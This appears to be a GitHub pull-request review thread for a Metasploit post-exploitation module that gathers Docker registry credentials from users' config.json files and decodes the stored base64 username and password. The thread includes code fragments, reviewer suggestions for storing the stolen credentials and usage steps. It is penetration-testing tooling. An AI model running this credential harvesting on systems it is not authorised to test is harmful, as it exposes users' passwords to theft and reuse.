Post module for gather Docker credentials#8774
Conversation
| # Array#select! is only in 1.9 | ||
| paths = paths.select { |d| directory?(d) } | ||
|
|
||
| if paths.nil? or paths.empty? |
There was a problem hiding this comment.
stick to && and || instead of and and or as per the ruby style guide
There was a problem hiding this comment.
Right, It comes from my inspiration file (gpg_creds), I will fix it too
| file = "config.json" | ||
| target = "#{path}/#{file}" | ||
|
|
||
| if file?(target) |
There was a problem hiding this comment.
this should be File.file? target
|
|
||
| def download_loot(paths) | ||
| print_status("Looting #{paths.count} directories") | ||
| paths.each do |path| |
There was a problem hiding this comment.
you should check if paths is nil here to prevent future bugs
There was a problem hiding this comment.
But it's check before the call to the function
if paths.nil? || paths.empty?
print_error("No users found with a .docker directory")
return
end
download_loot(paths)
What is better?
|
ah didn't see that :) it's good as it is
…On Fri, Jul 28, 2017 at 10:12 AM John ***@***.***> wrote:
***@***.**** commented on this pull request.
------------------------------
In modules/post/multi/gather/docker_creds.rb
<#8774 (comment)>
:
> + print_status("Finding .docker directories")
+ paths = enum_user_directories.map {|d| d + "/.docker"}
+ # Array#select! is only in 1.9
+ paths = paths.select { |d| directory?(d) }
+
+ if paths.nil? or paths.empty?
+ print_error("No users found with a .docker directory")
+ return
+ end
+
+ download_loot(paths)
+ end
+
+ def download_loot(paths)
+ print_status("Looting #{paths.count} directories")
+ paths.each do |path|
But it's check before the call to the function
if paths.nil? || paths.empty?
print_error("No users found with a .docker directory")
return
end
download_loot(paths)
What is better?
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
<#8774 (comment)>,
or mute the thread
<https://github.com/notifications/unsubscribe-auth/AQL0LmN3BtTnsj9EX2HxXTo6qtutfUGvks5sSZfxgaJpZM4Oj6oo>
.
|
| def extract(target) | ||
| file = read_file(target) | ||
| parsed = JSON.parse(file) | ||
| creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"] |
There was a problem hiding this comment.
Won't this result in exceptions when the parsed JSON doesn't have the nested auths -> https://index.docker.io/v1/ -> auth? For example, mine currently looks like:
{
"auths": {
"12345.dkr.ecr.us-east-1.amazonaws.com": {}
},
"credsStore": "osxkeychain"
}
In this case it is because I've authenticated to AWS ECR, not docker.io. I suspect the same issue exists for other container repositories.
There was a problem hiding this comment.
Really good point, I was thinking that if creds.length > 0 would prevent this, but it wasn't the case, so I added a verification condition!
Thanks!
jmartin-tech
left a comment
There was a problem hiding this comment.
Looks good, verification testing in progress. A couple possible improvements are noted here.
| if creds.length > 0 | ||
| plain = Rex::Text.decode_base64(creds) | ||
| print_good("Found #{plain}") | ||
| loot_path = store_loot("docker.credentials", "text/plain", session, plain, |
There was a problem hiding this comment.
It would nice to see this stored as a credential vs loot. We all know about password reuse. Having the credential object can be very helpful.
Consider adjustment to:
username, password = plain.split(':')
credential_data = {
origin_type: :import,
module_fullname: self.fullname,
filename: target,
workspace_id: myworkspace_id,
service_name: 'docker',
realm_value: 'https://index.docker.io/v1/',
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username
}
create_credential(credential_data)
While this is not the 100% expected usage for realm it will produce a nice usable shared credential with output as follows:
msf> creds
Credentials
===========
host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
test test https://index.docker.io/v1/ Password
There was a problem hiding this comment.
Very nice, I had integrated the suggestions! Let me know what you think
Thanks
| file = read_file(target) | ||
| parsed = JSON.parse(file) | ||
| if parsed["auths"] && parsed["auths"]["https://index.docker.io/v1/"] | ||
| creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"] |
There was a problem hiding this comment.
Given @jhart-r7's feedback may be worth converting to loop thru all keys in parsed["auths"] and store any nested ['auth'] details that decode.
Keep in mind the impacts looping would have on the realm_value on the request below for conversion to store the detailed credential.
Release NotesThe Multi Gather Docker Credentials Collection post-exploitation module has been added to the framework. It extracts Docker credentials that are often stored in the Docker config.json configuration file. |
This module will collect the contents of all users' .docker directories on the targeted machine. If the user has already push to docker hub, chances are that the password was saved in base64 (default behavior).
For testing, I have the following
config.jsonfile on my~/.dockerThe above example is
flibustier:baguette, corresponding tousername:passwordVerification
List the steps needed to make sure this thing works
msfconsoleuse post/multi/gather/docker_credsset session SESSIONrun~/.docker/config.json